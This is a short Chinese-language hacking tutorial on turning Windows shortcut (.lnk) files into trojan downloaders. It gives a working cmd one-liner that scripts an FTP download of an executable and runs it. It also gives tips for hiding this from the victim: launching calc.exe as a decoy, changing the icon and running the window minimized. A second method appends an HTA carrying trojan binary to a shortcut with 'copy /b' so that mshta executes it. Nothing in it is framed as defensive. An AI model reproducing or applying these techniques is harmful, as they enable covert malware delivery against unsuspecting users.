0x01前言
windows的shell32在处理控制面板程序的快捷方式文件时,存在一个漏洞,可以加载硬盘上的任意DLL文件,即可执行任意代码。
之前看到一款俄罗斯黑阔写的的快捷方式下载木马并运行的生成工具(Shortcut Downloader),调用PowerShell创建快捷方式实现下载恶意文件并运行。
地址:https://github.com/codecrack3/Shortcut-Downloader
0x02 实现
方法一:lnk里直接加命令
基本思路
逻辑
1. Echo写出ftp信息,使用ftp –s:x 参数运行下载命令
2. 语句使用&&链接,语句被执行才会继续下一步操作
3. 最后执行恶意程序时使用if exist判断恶意程序是否下载,如果下载则执行
echo open127.0.0.1>f&&echo 123>>f&&echo 321>>f&&echo get 2.exe>>f&&echo bye>>f&&ftp -s:f&&del /q f&&if exist 2.exe start2.exe
这里注意区这里 “>” 和 “>>” ,第一个是重定向(会覆盖原内容),第二个是向文件内追加内容
ftp命令中的-s参数是指定包含 FTP 命令的文本文件;
CMD下运行正常,但写到快捷方式,显然需要修改一下,首先必须加入/c执行,否则会卡出黑屏不退出,在下载前运行一个正常的程序,免的被发现,例如calc.exe&&下载运行命令,最好更改下图标增加迷惑性,其次既然是在后台静默下载运行,我们当然不想快捷方式一闪而过,创建完快捷方式右键修改运行方式最小化,OK一个简单lnk下载者就成了。
新建快捷方式
选择快捷方式的exe先随便选一个
修改运行方式,最小化。
方法二:
lnk文件后面接上html脚本,html里面包含2进制数据,用mshta就可以随便执行2进制了
比如这里1.hta里面是我们需要执行的木马二进制,hacker.lnk是个正常的快捷方式
利用cmd的copy命令生成一个新的恶意快捷方式
copy /b hacker.lnk+1.hta my.lnk
运行这个lnk。lnk把自己复制成hta运行,执行了恶意二进制文件